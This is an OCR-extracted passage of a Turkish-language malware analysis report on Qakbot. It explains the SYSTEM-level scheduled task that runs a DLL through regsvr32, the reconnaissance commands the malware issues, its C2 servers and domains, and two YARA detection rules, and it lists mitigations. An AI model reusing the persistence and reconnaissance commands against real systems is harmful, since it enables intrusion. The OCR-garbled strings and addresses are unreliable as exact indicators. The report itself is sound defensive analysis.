"C:\\users Desktop\\yedek. d1T\\\"\" /sC oNCE /z /sT 02:08 /ET 02:20"




<.

“C:\Windows\system32\schtasks.exe" /Create /RU "NT
AUTHORITY\SYSTEM" /tn cxcgmrzjc /tr "regsvr32.exe -s
\"C:\Users\<ComputerName>\Desktop\yedek.dll\"" /SC ONCE /Z /ST
02:08 /ET 02:20”

“/RU” komutu ile en Ust yetkilere sahip kullanici ile calisacagini
belirtmektedir.

“/tn” task name belirtmektedir.

“/tr” gorevin calistiracagl programi belirtmektedir.
“/SC” calisma sikligini belirtmektedir.

“/Z” cahstiktan sonra silmektir.

“/ST” calismaya baslayacagi zamani belirtmektedir.

“/ET” cahismayi durdurdugu zamani belirtmektedir.
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Qakbot zararlisi veri alisverisi icin asagidaki exe’leri enjekte oldugu
explorer.exe programi araciligiyla baslatarak CommandLine da belirtilen
komutlari calistirir.

File File File

— TCP/IP Arp Komutu Net Command @ ook

i . i

(Verified) Microsaft Windows [Verified) Mizosoft Windows ,&, Micrasoft Carporation

Version: 6.1.7600.15385 Version: 6.1, 7600, 16385 Version: 6.1,7601.17514

Image file name: - Image fle name: Image file name:

C:\Windows\SysWOWE4\ARP.EXE L Ll €:\Windows|SysWOWad\net.exe El D C:\Windows \SysWOWe4\nslogkup.exe
Process — Process
Command fine: apa u B Command fine: nslookup -querytype=ALL -tmeout=10 |dap._tcp.dc._msdcs WORKGROUP I
Currentdirectory: ~ N/A Current drectory:  C:Wsers\zorro\Desktop| Current directory:  C:\Users\zomo\Desktop)
Started: a second ago (00:09:13 29.05,2021) Started: 3 seconds ago (15:08:10 28.05.2021) Started: & second ago (15:08:23 28.05.2021)
PEB address: 0x7efdf000 (32-bit: 0x0) Image type: 320t PEB address: Ox7efdf000 (32-hit: Dx7efde00n) Image type: 324t PEB address: 0x7efdfil00 (32-bit: Ox7efde000)

I Parant: explorer 2xe (2796) ] u [parent: exglorer.exe [3600)\] B IParent: explorer.exe (3600)]

Mitigation polices:  DEP (permanent) Detals Mitigation polides:  DEP (permanent) Detaile Mitigation polices:  DEP (permanent)

Protection: Mone Terminate Protection: None Terminate Protection: None

“Arp -a” Ag ara ylzundeki arp 6nbellek tablolarini goriintilemek igin
kullanilhr.

“net view /all” S paylasimlari dahil tum paylasimlari goruntiler.

“nslookup -querytype=ALL -timeout=10 _|dap _tcp.dc._msdcs.
WORKGROUP”

“querytype” parametresi ile sorgu icin kaynak kayit tlriint degistirir

“_timeout” parametresi ile bir arama istegine yanit beklemek icin saniye
sayisini belirtir. Belirtilen siire igerisin de yanit alinmazsa sure iki katina
cikar ve istek yeniden gonderilir,

NC WORKGROUP barindiran etki alani denetleyicisini (DC) bulmak igin
istemci makine NC adindan (WORKGROUP) olusturulan SRV kaydi
_ldap_tcp.dc._msdcs. WORKGROUP icin bir DNS sorgusu yayinlar.
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“whoami /all” Gecgerli kullanici adi, glvenlik tanimlayicilari (SID),
ayricaliklar ve gecerli kullanicinin ait oldugu gruplar dahil olmak Uzere
gecerli erisim belirtecindeki tum bilgileri gorintiler.

“ecmd /c set” /c parametresi string ile belirtilen komutu yerine getirir ve
sonlandirir.

|"

“ipconfig /all” ag baglantisi 6zellikleri daha ayrintili goérulebilir. “/all”
parametresiyle bilgisayarin mac adresi de ekrana basilir.

“nltest /domain_trusts/all_trusts” Guvenilir etki alanlarinin bir listesini
donddrir. “All_trusts” tim glvenilen etki alanlarini dondurur.

“net share” Paylasilan tim kaynaklar hakkindaki bilgileri gorintuler.

“route print” Ag yonlendirme tablosunu gorintileyen ve glincelleyen
Windows komutudur.

“netstat nao” bir baglantinin sahip olma siirecini islem kimligini (PID) ayri
bir stituna ekler.

“net localgroup” Sunucunun adini ve bilgisayardaki yerel gruplarin adlarini
goruntuler.

“gwinsta” Uzak masausti oturum, ana bilgisayar sunucusundaki
oturumlarla ilgili bilgileri gorintuler.

“%System%netl localgroup” bilgisayardaki yerel kullanici gruplarini
yonetmek icin kullanthr.

“%System%netl share” ag paylasimlarini komut satirindan olusturmak,
yapilandirmak ve silmek icin kullanilir.

4
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Network Analizi

Excel dokiimani Wireshark programinda gorintilendiginde cikan
sonug asagidaki gibidir.

dns X}
No. Time Sourca Destination Pmn{m\ Length Info
5 6.738556 192.168.32.134 192.168.32.2 DNS 76 Standard query @x4fb8 A wpad.localdomain
14 6.774410 192.168.32.134 192.168.32.2 DNS 81 Standard query @x@141 A theottomandoner.co.uk
17 6.896450 192.168.32.2 192.168.32.134 DNS 97 Standard query response @x0141 A theottomandoner.co.uk A 5.100.155.169
33 7.310745 192.168.32.134 192.168.32.2 DNS 74 Standard query @xaSec A r3.o.lencr.org
34 7.322398 192.168.32.2 192.168.32.134 DNS 173 Standard query response BxaSec A r3.o.lencr.org CNAME o.lencr.edgesuite.net CNAME a1887.dscq.akamai.net A 1
48 7.751473 192.168.32.134 192.168.32.2 DNS 76 Standard query @x4fb8 A wpad.localdomain
64 9.764120 192.168.32.134 192.168.32.2 DS 76 Standard query @x4fb8 A wpad.localdomain
77 9.877845 192.168.32.134 192.168.32.2 DNS IES Standard query 8x2403 A M.theottomandcner.(o,ukl
78 10.106925 192.168.32.2 192.168.32.134 DNS 115 Standard query response 0x2483 A www.theottomandoner.co.uk CNAME theottomandoner.co.uk A 5.180.155.169
117 12.8083919 192.168.32.134 192.168.32.2 DNS |81 Standard query 8x9914 A paufderhar@7ol.ru.com |
118 12.853874 192.168.32.2 192.168.32.134 DNS 97 Standard query response 8x9914 A paufderhar@7ol.ru.com A 141.8.226.34
128 13.438506 192.168.32.134 192.168.32.2 DNS IBZ Standard query 8xb577 A nicolette?l@?gq.ru.coml
129 13.488836 192.168.32.2 192.168.32.134 DNS 98 Standard query response @xb577 A nicolette7187gq.ru.com A 141.8.226.34
148 14.166608 192.168.32.134 192.168.32.2 DNS |81 Standard query @x7b7a A chocolateuncle.online |
149 14.219949 192.168.32.2 192.168.32.134 DNS 146 Standard query response @x7b7a No such name A chocolateuncle.online SOA ns@.centralnic.net
150 14.221824 192.168.32.134 192.168.32.2 DNS 75 Standard query @x3619 A cablenet.com.ec
151 14.337414 192.168.32.134 192.168.32.2 DNS 76 Standard query @xb754 A dns.msftncsi.com
152 14.348386 192.168.32.2 192.168.32.134 DNS 92 Standard query response Bxb754 A dns.msftncsi.com A 131.187.255.255
153 14.444531 192.168.32.2 192.168.32.134 DNS 91 Standard query response @x3619 A cablenet.com.ec A 209.99.16.217
171 15.075236 192.168.32.134 192.168.32.2 DNS 74 Standard query @xe3b® A x1.c.lencr.org
172 15.890067 192.168.32.2 192.168.32.134 DS 179 Standard query response @xe3b@ A x1.c.lencr.org CNAME crl.root-x1.letsencrypt.org.edgekey.net CNAME e8652.d

Zararli DLL" in veri iletmeye calistigi sunucularin listesi asagida
siralanmistir.

96.21.251.127

144.202.38.185

217.133.54.140

207.246.77.75

207.246.116.237

108.14.4.202

93.184.220.29

144.202.38.185

68.186.192.69

86.220.62.251

98.252.118.134

140.82.49.12

122.148.156.131

86.190.41.156

45.63.107.192

24.226.156.153 50.244.112.106 83.196.56.65
47.22.148.6 96.21.251.127 45.67.231.247
189.146.183.105 81.214.126.173 45.77.117.108

81.97.154.100

24.229.150.54

74.222.204.82

144.139.166.18

45.77.115.208

71.199.192.62

188.26.91.212

151.205.102.42

50.29.166.232

83.110.9.71 108.46.145.30 75.118.1.141

149.28.98.196 92.59.35.196 174.104.22.30

83.110.103.152 115.133.243.6 149.28.99.97

172.78.56.208 144.139.47.206 196.151.252.84 )
105.198.236.99 45.32.211.207 75.137.47.174 ‘

I .




Birinci siradan baslayarak listedeki adreslerle baglanti kurmaya
calismaktadir. Fakat sunucularin ¢ogu artik aktif olmadigi icin veri iletimi
gerceklesemez. Liste icerisinden bazi sunucular aktif olmasina ragmen
veri iletimi gerceklestirilememektedir.
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(/ COZUM ONERILERI
{ -Sistemlerde gulvenilir daima guncelleme alan bir

antivirds kullaniimasi,

-Mail okurken dikkat edilip emin olunmayan maillerin
acllmamasi,

-Spam maillerin acilmamasi,
-Isletim sisteminin her zaman gtincel tutulmasi,
-Zararh baglanti ve IP adreslerine filtrelenme yapilmasi,

Qakbot zararlisinin sisteme erisme ve zarar vermesini
engelleyebilmektedir.
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YARA KURALI

{ import "hash"

rule Excel_Dropper

{

meta:

author="Zayotem"
description="Excel_Dropper"
first_date="14.04.2021"
report_date="24.05.2021"
file_name="documents-1472621861.xIsb"

strings:

Ss1 ="URLMon"

Ss2 ="URLDownloadToFileA"
Ss3 ="JJCCBB"

Ss4 ="DIIRegisterServer"

Ss5 ="rundll32"

Ss6 ="wiroe.oerl"

Ss7 ="wiroe.oer2"

$s8 ="wiroe.oer3"

Ss9 ="wiroe.oer4"

Ss10 ="wiroe.oer5"

condition:

all of them

}

hash.md5(0,filesize)=="7046115D4093BB8A33AE64DFOA85C4DD"

e N —

or

M
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YARA KURALI

import "hash"

rule Qakbot

{

meta:
author="Zayotem"
description="Qakbot"
first_date="14.04.2021"
report_date="24.05.2021"
file_name="wiroe.oer1"

strings:
Ss1="50.244.112.106"
Ss2 ="sadccdcdsasa"
Ss3 ="cdcdwawqwq"
Ss4 ="avp.exe"
Ss5 ="fmon.exe"
Ss6 ="AvastSvc.exe"
Ss7 ="egui.exe"
Ss8 ="explorer.exe"
$s9 ="mobsync.exe"
Ss10 ="induvv.dll"
Ss11 ="dzgenmhak.nte"

condition:

hash.md5(0,filesize)=="BF405FB27EC79209E373C32DFAC66203" or all

of them
}

e —

M



llker Verimoglu

https://www.linkedin.com/in/ilker-verimoglu/

Emre Dogan

https://www.linkedin.com/in/emreefedogan/

Kaan Binen

https://www.linkedin.com/in/kaan-binen

Abdulkadir Binan
https://www.linkedin.com/in/abdulkadirbinan/

Emrah Saridag

https://www.linkedin.com/in/emrahsaridag/
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